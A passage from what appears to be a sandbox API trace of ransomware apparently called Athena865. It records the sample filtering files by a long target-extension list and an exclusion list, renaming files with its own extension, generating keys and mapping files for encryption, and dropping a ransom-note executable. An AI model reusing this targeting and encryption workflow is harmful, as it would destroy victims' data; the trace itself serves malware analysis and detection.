(lpString="accde") returned 5 [0118.588] lstrcmpiW (lpString1="s.inc", lpString2="accde") returned 1 [0118.588] lstrlenW (lpString="accdr") returned 5 [0118.588] lstrcmpiW (lpString1="s.inc", lpString2="accdr") returned 1 [0118.588] lstrlenW (lpString="accdt") returned 5 [0118.588] lstrcmpiW (lpString1="s.inc", lpString2="accdt") returned 1 [0118.588] lstrlenW (lpString="accdw") returned 5 [0118.588] lstrcmpiW (lpString1="s.inc", lpString2="accdw") returned 1 [0118.588] lstrlenW (lpString="accft") returned 5 [0118.588] lstrcmpiW (lpString1="s.inc", lpString2="accft") returned 1 [0118.588] lstrlenW (lpString="adb") returned 3 [0118.588] lstrcmpiW (lpString1="inc", lpString2="adb") returned 1 [0118.588] lstrlenW (lpString="adb") returned 3 [0118.588] lstrcmpiW (lpString1="inc", lpString2="adb") returned 1 [0118.588] lstrlenW (lpString="ade") returned 3 [0118.588] lstrcmpiW (lpString1="inc", lpString2="ade") returned 1 [0118.588] lstrlenW (lpString="adf") returned 3 [0118.588] lstrcmpiW (lpString1="inc", lpString2="adf") returned 1 [0118.588] lstrlenW (lpString="adn") returned 3 [0118.588] lstrcmpiW (lpString1="inc", lpString2="adn") returned 1 [0118.588] lstrlenW (lpString="adp") returned 3 [0118.588] lstrcmpiW (lpString1="inc", lpString2="adp") returned 1 [0118.588] lstrlenW (lpString="alf") returned 3 [0118.588] lstrcmpiW (lpString1="inc", lpString2="alf") returned 1 [0118.589] lstrlenW (lpString="ask") returned 3 [0118.589] lstrcmpiW (lpString1="inc", lpString2="ask") returned 1 [0118.589] lstrlenW (lpString="btr") returned 3 [0118.589] lstrcmpiW (lpString1="inc", lpString2="btr") returned 1 [0118.589] lstrlenW (lpString="cat") returned 3 [0118.589] lstrcmpiW (lpString1="inc", lpString2="cat") returned 1 [0118.589] lstrlenW (lpString="cdb") returned 3 [0118.589] lstrcmpiW (lpString1="inc", lpString2="cdb") returned 1 [0118.589] lstrlenW (lpString="ckp") returned 3 [0118.589] lstrcmpiW (lpString1="inc", lpString2="ckp") returned 1 [0118.589] lstrlenW (lpString="cma") returned 3 [0118.589] lstrcmpiW (lpString1="inc", lpString2="cma") returned 1 [0118.589] lstrlenW (lpString="cpd") returned 3 [0118.589] lstrcmpiW (lpString1="inc", lpString2="cpd") returned 1 [0118.589] lstrlenW (lpString="dacpac") returned 6 [0118.589] lstrcmpiW (lpString1="bs.inc", lpString2="dacpac") returned -1 [0118.589] lstrlenW (lpString="dad") returned 3 [0118.589] lstrcmpiW (lpString1="inc", lpString2="dad") returned 1 [0118.589] lstrlenW (lpString="dadiagrams") returned 10 [0118.589] lstrlenW (lpString="daschema") returned 8 [0118.589] lstrcmpiW (lpString1="cvbs.inc", lpString2="daschema") returned -1 [0118.589] lstrlenW (lpString="db-journal") returned 10 [0118.589] lstrlenW (lpString="db-shm") returned 6 [0118.589] lstrcmpiW (lpString1="bs.inc", lpString2="db-shm") returned -1 [0118.589] lstrlenW (lpString="db-wal") returned 6 [0118.589] lstrcmpiW (lpString1="bs.inc", lpString2="db-wal") returned -1 [0118.589] lstrlenW (lpString="dbc") returned 3 [0118.589] lstrcmpiW (lpString1="inc", lpString2="dbc") returned 1 [0118.589] lstrlenW (lpString="dbs") returned 3 [0118.589] lstrcmpiW (lpString1="inc", lpString2="dbs") returned 1 [0118.589] lstrlenW (lpString="dbt") returned 3 [0118.590] lstrcmpiW (lpString1="inc", lpString2="dbt") returned 1 [0118.590] lstrlenW (lpString="dbv") returned 3 [0118.590] lstrcmpiW (lpString1="inc", lpString2="dbv") returned 1 [0118.590] lstrlenW (lpString="dbx") returned 3 [0118.590] lstrcmpiW (lpString1="inc", lpString2="dbx") returned 1 [0118.590] lstrlenW (lpString="dcb") returned 3 [0118.590] lstrcmpiW (lpString1="inc", lpString2="dcb") returned 1 [0118.590] lstrcmpiW (lpString1="inc", lpString2="dct") returned 1 [0118.590] lstrcmpiW (lpString1="inc", lpString2="dcx") returned 1 [0118.590] lstrcmpiW (lpString1="inc", lpString2="ddl") returned 1 [0118.590] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.Athena865") returned 63 [0118.590] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.Athena865" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.athena865"), dwFlags=0x1) returned 1 [0118.591] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.Athena865" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0118.591] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=623) returned 1 [0118.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0118.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0118.592] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.592] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.592] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.593] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x570, lpName=0x0) returned 0x17c [0118.594] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x570) returned 0x100000 [0118.595] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0118.595] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.595] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.596] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.596] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.596] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.596] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.596] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.596] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0118.596] CloseHandle (hObject=0x17c) returned 1 [0118.596] CloseHandle (hObject=0x154) returned 1 [0118.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0118.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0118.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.597] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0118.597] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0118.597] lstrcmpiW (lpString1="en-US", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.597] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0118.597] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0118.597] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0118.597] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0118.597] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1 [0118.597] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1 [0118.597] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1 [0118.597] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1 [0118.597] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0118.597] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1 [0118.597] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1 [0118.597] lstrlenW (lpString="en-US") returned 5 [0118.597] lstrcpyW (in: lpString1=0x241e89e, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0118.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52af60 [0118.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x62) returned 0x52ef20 [0118.597] lstrcatW (in: lpString1="en-US", lpString2="\\" | out: lpString1="en-US\\") returned="en-US\\" [0118.597] lstrcatW (in: lpString1="en-US\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="en-US\\HOW TO BACK YOUR FILES.exe") returned="en-US\\HOW TO BACK YOUR FILES.exe" [0118.597] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1 [0118.601] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cac9e93, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0x2cac9e93, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0x2cac9e93, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="handler.reg", cAlternateFileName="")) returned 1 [0118.601] lstrcmpiW (lpString1="handler.reg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0118.601] lstrcmpiW (lpString1="handler.reg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.601] lstrcmpiW (lpString1="handler.reg", lpString2=".") returned 1 [0118.601] lstrcmpiW (lpString1="handler.reg", lpString2="..") returned 1 [0118.602] lstrcmpiW (lpString1="handler.reg", lpString2="windows") returned -1 [0118.602] lstrcmpiW (lpString1="handler.reg", lpString2="bootmgr") returned 1 [0118.602] lstrcmpiW (lpString1="handler.reg", lpString2="temp") returned -1 [0118.602] lstrcmpiW (lpString1="handler.reg", lpString2="pagefile.sys") returned -1 [0118.602] lstrcmpiW (lpString1="handler.reg", lpString2="boot") returned 1 [0118.602] lstrcmpiW (lpString1="handler.reg", lpString2="ids.txt") returned -1 [0118.602] lstrcmpiW (lpString1="handler.reg", lpString2="ntuser.dat") returned -1 [0118.602] lstrcmpiW (lpString1="handler.reg", lpString2="perflogs") returned -1 [0118.602] lstrcmpiW (lpString1="handler.reg", lpString2="MSBuild") returned -1 [0118.602] lstrlenW (lpString="handler.reg") returned 11 [0118.602] lstrcpyW (in: lpString1=0x241e89e, lpString2="handler.reg" | out: lpString1="handler.reg") returned="handler.reg" [0118.602] lstrlenW (lpString="handler.reg") returned 11 [0118.602] lstrlenW (lpString="Athena865") returned 9 [0118.602] lstrcmpiW (lpString1="ndler.reg", lpString2="Athena865") returned 1 [0118.602] lstrlenW (lpString=".dll") returned 4 [0118.602] lstrcmpiW (lpString1="handler.reg", lpString2=".dll") returned 1 [0118.602] lstrlenW (lpString=".lnk") returned 4 [0118.602] lstrcmpiW (lpString1="handler.reg", lpString2=".lnk") returned 1 [0118.602] lstrlenW (lpString=".ini") returned 4 [0118.602] lstrcmpiW (lpString1="handler.reg", lpString2=".ini") returned 1 [0118.602] lstrlenW (lpString=".sys") returned 4 [0118.602] lstrcmpiW (lpString1="handler.reg", lpString2=".sys") returned 1 [0118.602] lstrlenW (lpString="handler.reg") returned 11 [0118.602] lstrlenW (lpString="bak") returned 3 [0118.602] lstrcmpiW (lpString1="reg", lpString2="bak") returned 1 [0118.602] lstrlenW (lpString="ba_") returned 3 [0118.602] lstrcmpiW (lpString1="reg", lpString2="ba_") returned 1 [0118.602] lstrlenW (lpString="dbb") returned 3 [0118.602] lstrcmpiW (lpString1="reg", lpString2="dbb") returned 1 [0118.603] lstrlenW (lpString="vmdk") returned 4 [0118.603] lstrcmpiW (lpString1=".reg", lpString2="vmdk") returned -1 [0118.603] lstrlenW (lpString="rar") returned 3 [0118.603] lstrcmpiW (lpString1="reg", lpString2="rar") returned 1 [0118.603] lstrlenW (lpString="zip") returned 3 [0118.603] lstrcmpiW (lpString1="reg", lpString2="zip") returned -1 [0118.603] lstrlenW (lpString="tgz") returned 3 [0118.603] lstrcmpiW (lpString1="reg", lpString2="tgz") returned -1 [0118.603] lstrlenW (lpString="vbox") returned 4 [0118.603] lstrcmpiW (lpString1=".reg", lpString2="vbox") returned -1 [0118.603] lstrlenW (lpString="vdi") returned 3 [0118.603] lstrcmpiW (lpString1="reg", lpString2="vdi") returned -1 [0118.603] lstrlenW (lpString="vhd") returned 3 [0118.603] lstrcmpiW (lpString1="reg", lpString2="vhd") returned -1 [0118.603] lstrlenW (lpString="vhdx") returned 4 [0118.603] lstrcmpiW (lpString1=".reg", lpString2="vhdx") returned -1 [0118.603] lstrlenW (lpString="avhd") returned 4 [0118.603] lstrcmpiW (lpString1=".reg", lpString2="avhd") returned -1 [0118.603] lstrlenW (lpString="db") returned 2 [0118.603] lstrcmpiW (lpString1="eg", lpString2="db") returned 1 [0118.603] lstrlenW (lpString="db2") returned 3 [0118.603] lstrcmpiW (lpString1="reg", lpString2="db2") returned 1 [0118.603] lstrlenW (lpString="db3") returned 3 [0118.603] lstrcmpiW (lpString1="reg", lpString2="db3") returned 1 [0118.603] lstrlenW (lpString="dbf") returned 3 [0118.603] lstrcmpiW (lpString1="reg", lpString2="dbf") returned 1 [0118.603] lstrlenW (lpString="mdf") returned 3 [0118.603] lstrcmpiW (lpString1="reg", lpString2="mdf") returned 1 [0118.603] lstrlenW (lpString="mdb") returned 3 [0118.603] lstrcmpiW (lpString1="reg", lpString2="mdb") returned 1 [0118.603] lstrlenW (lpString="sql") returned 3 [0118.604] lstrcmpiW (lpString1="reg", lpString2="sql") returned -1 [0118.604] lstrlenW (lpString="sqlite") returned 6 [0118.604] lstrcmpiW (lpString1="er.reg", lpString2="sqlite") returned -1 [0118.604] lstrlenW (lpString="sqlite3") returned 7 [0118.604] lstrcmpiW (lpString1="ler.reg", lpString2="sqlite3") returned -1 [0118.604] lstrlenW (lpString="sqlitedb") returned 8 [0118.604] lstrcmpiW (lpString1="dler.reg", lpString2="sqlitedb") returned -1 [0118.604] lstrlenW (lpString="xml") returned 3 [0118.604] lstrcmpiW (lpString1="reg", lpString2="xml") returned -1 [0118.604] lstrlenW (lpString="$er") returned 3 [0118.604] lstrcmpiW (lpString1="reg", lpString2="$er") returned 1 [0118.604] lstrlenW (lpString="4dd") returned 3 [0118.604] lstrcmpiW (lpString1="reg", lpString2="4dd") returned 1 [0118.604] lstrlenW (lpString="4dl") returned 3 [0118.604] lstrcmpiW (lpString1="reg", lpString2="4dl") returned 1 [0118.604] lstrlenW (lpString="^^^") returned 3 [0118.604] lstrcmpiW (lpString1="reg", lpString2="^^^") returned 1 [0118.604] lstrlenW (lpString="abs") returned 3 [0118.604] lstrcmpiW (lpString1="reg", lpString2="abs") returned 1 [0118.604] lstrlenW (lpString="abx") returned 3 [0118.604] lstrcmpiW (lpString1="reg", lpString2="abx") returned 1 [0118.604] lstrlenW (lpString="accdb") returned 5 [0118.604] lstrcmpiW (lpString1="r.reg", lpString2="accdb") returned 1 [0118.604] lstrlenW (lpString="accdc") returned 5 [0118.604] lstrcmpiW (lpString1="r.reg", lpString2="accdc") returned 1 [0118.604] lstrlenW (lpString="accde") returned 5 [0118.604] lstrcmpiW (lpString1="r.reg", lpString2="accde") returned 1 [0118.604] lstrlenW (lpString="accdr") returned 5 [0118.604] lstrcmpiW (lpString1="r.reg", lpString2="accdr") returned 1 [0118.604] lstrlenW (lpString="accdt") returned 5 [0118.605] lstrcmpiW (lpString1="r.reg", lpString2="accdt") returned 1 [0118.605] lstrlenW (lpString="accdw") returned 5 [0118.605] lstrcmpiW (lpString1="r.reg", lpString2="accdw") returned 1 [0118.605] lstrlenW (lpString="accft") returned 5 [0118.605] lstrcmpiW (lpString1="r.reg", lpString2="accft") returned 1 [0118.605] lstrlenW (lpString="adb") returned 3 [0118.605] lstrcmpiW (lpString1="reg", lpString2="adb") returned 1 [0118.605] lstrlenW (lpString="adb") returned 3 [0118.605] lstrcmpiW (lpString1="reg", lpString2="adb") returned 1 [0118.605] lstrlenW (lpString="ade") returned 3 [0118.605] lstrcmpiW (lpString1="reg", lpString2="ade") returned 1 [0118.605] lstrlenW (lpString="adf") returned 3 [0118.605] lstrcmpiW (lpString1="reg", lpString2="adf") returned 1 [0118.605] lstrlenW (lpString="adn") returned 3 [0118.605] lstrcmpiW (lpString1="reg", lpString2="adn") returned 1 [0118.605] lstrlenW (lpString="adp") returned 3 [0118.605] lstrcmpiW (lpString1="reg", lpString2="adp") returned 1 [0118.605] lstrlenW (lpString="alf") returned 3 [0118.605] lstrcmpiW (lpString1="reg", lpString2="alf") returned 1 [0118.605] lstrlenW (lpString="ask") returned 3 [0118.605] lstrcmpiW (lpString1="reg", lpString2="ask") returned 1 [0118.605] lstrlenW (lpString="btr") returned 3 [0118.605] lstrcmpiW (lpString1="reg", lpString2="btr") returned 1 [0118.605] lstrlenW (lpString="cat") returned 3 [0118.605] lstrcmpiW (lpString1="reg", lpString2="cat") returned 1 [0118.605] lstrlenW (lpString="cdb") returned 3 [0118.605] lstrcmpiW (lpString1="reg", lpString2="cdb") returned 1 [0118.605] lstrlenW (lpString="ckp") returned 3 [0118.605] lstrcmpiW (lpString1="reg", lpString2="ckp") returned 1 [0118.605] lstrlenW (lpString="cma") returned 3 [0118.605] lstrcmpiW (lpString1="reg", lpString2="cma") returned 1 [0118.606] lstrlenW (lpString="cpd") returned 3 [0118.606] lstrcmpiW (lpString1="reg", lpString2="cpd") returned 1 [0118.606] lstrlenW (lpString="dacpac") returned 6 [0118.606] lstrcmpiW (lpString1="er.reg", lpString2="dacpac") returned 1 [0118.606] lstrlenW (lpString="dad") returned 3 [0118.606] lstrcmpiW (lpString1="reg", lpString2="dad") returned 1 [0118.606] lstrlenW (lpString="dadiagrams") returned 10 [0118.606] lstrcmpiW (lpString1="andler.reg", lpString2="dadiagrams") returned -1 [0118.606] lstrlenW (lpString="daschema") returned 8 [0118.606] lstrcmpiW (lpString1="dler.reg", lpString2="daschema") returned 1 [0118.606] lstrlenW (lpString="db-journal") returned 10 [0118.606] lstrcmpiW (lpString1="andler.reg", lpString2="db-journal") returned -1 [0118.606] lstrlenW (lpString="db-shm") returned 6 [0118.606] lstrcmpiW (lpString1="er.reg", lpString2="db-shm") returned 1 [0118.606] lstrlenW (lpString="db-wal") returned 6 [0118.606] lstrcmpiW (lpString1="er.reg", lpString2="db-wal") returned 1 [0118.606] lstrlenW (lpString="dbc") returned 3 [0118.606] lstrcmpiW (lpString1="reg", lpString2="dbc") returned 1 [0118.606] lstrlenW (lpString="dbs") returned 3 [0118.606] lstrcmpiW (lpString1="reg", lpString2="dbs") returned 1 [0118.606] lstrlenW (lpString="dbt") returned 3 [0118.606] lstrcmpiW (lpString1="reg", lpString2="dbt") returned 1 [0118.606] lstrlenW (lpString="dbv") returned 3 [0118.606] lstrcmpiW (lpString1="reg", lpString2="dbv") returned 1 [0118.606] lstrlenW (lpString="dbx") returned 3 [0118.606] lstrcmpiW (lpString1="reg", lpString2="dbx") returned 1 [0118.606] lstrlenW (lpString="dcb") returned 3 [0118.606] lstrcmpiW (lpString1="reg", lpString2="dcb") returned 1 [0118.606] lstrlenW (lpString="dct") returned 3 [0118.606] lstrcmpiW (lpString1="reg", lpString2="dct") returned 1 [0118.607] lstrlenW (lpString="dcx") returned 3 [0118.607] lstrcmpiW (lpString1="reg", lpString2="dcx") returned 1 [0118.607] lstrlenW (lpString="ddl") returned 3 [0118.607] lstrcmpiW (lpString1="reg", lpString2="ddl") returned 1 [0118.607] lstrlenW (lpString="dlis") returned 4 [0118.607] lstrcmpiW (lpString1=".reg", lpString2="dlis") returned -1 [0118.607] lstrlenW (lpString="dp1") returned 3 [0118.607] lstrcmpiW (lpString1="reg", lpString2="dp1") returned 1 [0118.607] lstrlenW (lpString="dqy") returned 3 [0118.607] lstrcmpiW (lpString1="reg", lpString2="dqy") returned 1 [0118.607] lstrlenW (lpString="dsk") returned 3 [0118.607] lstrcmpiW (lpString1="reg", lpString2="dsk") returned 1 [0118.607] lstrlenW (lpString="dsn") returned 3 [0118.607] lstrcmpiW (lpString1="reg", lpString2="dsn") returned 1 [0118.607] lstrlenW (lpString="dtsx") returned 4 [0118.607] lstrcmpiW (lpString1=".reg", lpString2="dtsx") returned -1 [0118.607] lstrlenW (lpString="dxl") returned 3 [0118.607] lstrcmpiW (lpString1="reg", lpString2="dxl") returned 1 [0118.607] lstrlenW (lpString="eco") returned 3 [0118.607] lstrcmpiW (lpString1="reg", lpString2="eco") returned 1 [0118.607] lstrlenW (lpString="ecx") returned 3 [0118.607] lstrcmpiW (lpString1="reg", lpString2="ecx") returned 1 [0118.607] lstrlenW (lpString="edb") returned 3 [0118.607] lstrcmpiW (lpString1="reg", lpString2="edb") returned 1 [0118.607] lstrlenW (lpString="epim") returned 4 [0118.607] lstrcmpiW (lpString1=".reg", lpString2="epim") returned -1 [0118.607] lstrlenW (lpString="fcd") returned 3 [0118.607] lstrcmpiW (lpString1="reg", lpString2="fcd") returned 1 [0118.607] lstrlenW (lpString="fdb") returned 3 [0118.607] lstrcmpiW (lpString1="reg", lpString2="fdb") returned 1 [0118.608] lstrlenW (lpString="fic") returned 3 [0118.608] lstrcmpiW (lpString1="reg", lpString2="fic") returned 1 [0118.608] lstrlenW (lpString="flexolibrary") returned 12 [0118.608] lstrlenW (lpString="fm5") returned 3 [0118.608] lstrcmpiW (lpString1="reg", lpString2="fm5") returned 1 [0118.608] lstrlenW (lpString="fmp") returned 3 [0118.608] lstrcmpiW (lpString1="reg", lpString2="fmp") returned 1 [0118.608] lstrlenW (lpString="fmp12") returned 5 [0118.608] lstrcmpiW (lpString1="r.reg", lpString2="fmp12") returned 1 [0118.608] lstrlenW (lpString="fmpsl") returned 5 [0118.608] lstrcmpiW (lpString1="r.reg", lpString2="fmpsl") returned 1 [0118.608] lstrlenW (lpString="fol") returned 3 [0118.608] lstrcmpiW (lpString1="reg", lpString2="fol") returned 1 [0118.608] lstrlenW (lpString="fp3") returned 3 [0118.608] lstrcmpiW (lpString1="reg", lpString2="fp3") returned 1 [0118.608] lstrlenW (lpString="fp4") returned 3 [0118.608] lstrcmpiW (lpString1="reg", lpString2="fp4") returned 1 [0118.608] lstrlenW (lpString="fp5") returned 3 [0118.608] lstrcmpiW (lpString1="reg", lpString2="fp5") returned 1 [0118.608] lstrlenW (lpString="fp7") returned 3 [0118.608] lstrcmpiW (lpString1="reg", lpString2="fp7") returned 1 [0118.608] lstrlenW (lpString="fpt") returned 3 [0118.608] lstrcmpiW (lpString1="reg", lpString2="fpt") returned 1 [0118.608] lstrlenW (lpString="frm") returned 3 [0118.608] lstrcmpiW (lpString1="reg", lpString2="frm") returned 1 [0118.608] lstrlenW (lpString="gdb") returned 3 [0118.608] lstrcmpiW (lpString1="reg", lpString2="gdb") returned 1 [0118.608] lstrlenW (lpString="gdb") returned 3 [0118.608] lstrcmpiW (lpString1="reg", lpString2="gdb") returned 1 [0118.608] lstrlenW (lpString="grdb") returned 4 [0118.608] lstrcmpiW (lpString1=".reg", lpString2="grdb") returned -1 [0118.609] lstrlenW (lpString="gwi") returned 3 [0118.609] lstrcmpiW (lpString1="reg", lpString2="gwi") returned 1 [0118.609] lstrlenW (lpString="hdb") returned 3 [0118.609] lstrcmpiW (lpString1="reg", lpString2="hdb") returned 1 [0118.609] lstrlenW (lpString="his") returned 3 [0118.609] lstrcmpiW (lpString1="reg", lpString2="his") returned 1 [0118.609] lstrlenW (lpString="ib") returned 2 [0118.609] lstrcmpiW (lpString1="eg", lpString2="ib") returned -1 [0118.609] lstrlenW (lpString="idb") returned 3 [0118.609] lstrcmpiW (lpString1="reg", lpString2="idb") returned 1 [0118.609] lstrlenW (lpString="ihx") returned 3 [0118.609] lstrcmpiW (lpString1="reg", lpString2="ihx") returned 1 [0118.609] lstrlenW (lpString="itdb") returned 4 [0118.609] lstrcmpiW (lpString1=".reg", lpString2="itdb") returned -1 [0118.609] lstrlenW (lpString="itw") returned 3 [0118.609] lstrcmpiW (lpString1="reg", lpString2="itw") returned 1 [0118.609] lstrlenW (lpString="jet") returned 3 [0118.609] lstrcmpiW (lpString1="reg", lpString2="jet") returned 1 [0118.609] lstrlenW (lpString="jtx") returned 3 [0118.609] lstrcmpiW (lpString1="reg", lpString2="jtx") returned 1 [0118.609] lstrlenW (lpString="kdb") returned 3 [0118.609] lstrcmpiW (lpString1="reg", lpString2="kdb") returned 1 [0118.609] lstrlenW (lpString="kexi") returned 4 [0118.609] lstrcmpiW (lpString1=".reg", lpString2="kexi") returned -1 [0118.609] lstrlenW (lpString="kexic") returned 5 [0118.609] lstrcmpiW (lpString1="r.reg", lpString2="kexic") returned 1 [0118.610] lstrlenW (lpString="kexis") returned 5 [0118.610] lstrcmpiW (lpString1="r.reg", lpString2="kexis") returned 1 [0118.610] lstrlenW (lpString="lgc") returned 3 [0118.610] lstrcmpiW (lpString1="reg", lpString2="lgc") returned 1 [0118.610] lstrlenW (lpString="lwx") returned 3 [0118.610] lstrcmpiW (lpString1="reg", lpString2="lwx") returned 1 [0118.610] lstrlenW (lpString="maf") returned 3 [0118.610] lstrcmpiW (lpString1="reg", lpString2="maf") returned 1 [0118.610] lstrlenW (lpString="maq") returned 3 [0118.610] lstrcmpiW (lpString1="reg", lpString2="maq") returned 1 [0118.610] lstrlenW (lpString="mar") returned 3 [0118.610] lstrcmpiW (lpString1="reg", lpString2="mar") returned 1 [0118.610] lstrlenW (lpString="marshal") returned 7 [0118.610] lstrcmpiW (lpString1="ler.reg", lpString2="marshal") returned -1 [0118.610] lstrlenW (lpString="mas") returned 3 [0118.610] lstrcmpiW (lpString1="reg", lpString2="mas") returned 1 [0118.610] lstrlenW (lpString="mav") returned 3 [0118.610] lstrcmpiW (lpString1="reg", lpString2="mav") returned 1 [0118.610] lstrlenW (lpString="maw") returned 3 [0118.610] lstrcmpiW (lpString1="reg", lpString2="maw") returned 1 [0118.610] lstrlenW (lpString="mdbhtml") returned 7 [0118.610] lstrcmpiW (lpString1="ler.reg", lpString2="mdbhtml") returned -1 [0118.610] lstrlenW (lpString="mdn") returned 3 [0118.610] lstrcmpiW (lpString1="reg", lpString2="mdn") returned 1 [0118.610] lstrlenW (lpString="mdt") returned 3 [0118.610] lstrcmpiW (lpString1="reg", lpString2="mdt") returned 1 [0118.610] lstrlenW (lpString="mfd") returned 3 [0118.610] lstrcmpiW (lpString1="reg", lpString2="mfd") returned 1 [0118.610] lstrlenW (lpString="mpd") returned 3 [0118.610] lstrcmpiW (lpString1="reg", lpString2="mpd") returned 1 [0118.610] lstrlenW (lpString="mrg") returned 3 [0118.611] lstrcmpiW (lpString1="reg", lpString2="mrg") returned 1 [0118.611] lstrlenW (lpString="mud") returned 3 [0118.611] lstrcmpiW (lpString1="reg", lpString2="mud") returned 1 [0118.611] lstrlenW (lpString="mwb") returned 3 [0118.611] lstrcmpiW (lpString1="reg", lpString2="mwb") returned 1 [0118.611] lstrlenW (lpString="myd") returned 3 [0118.611] 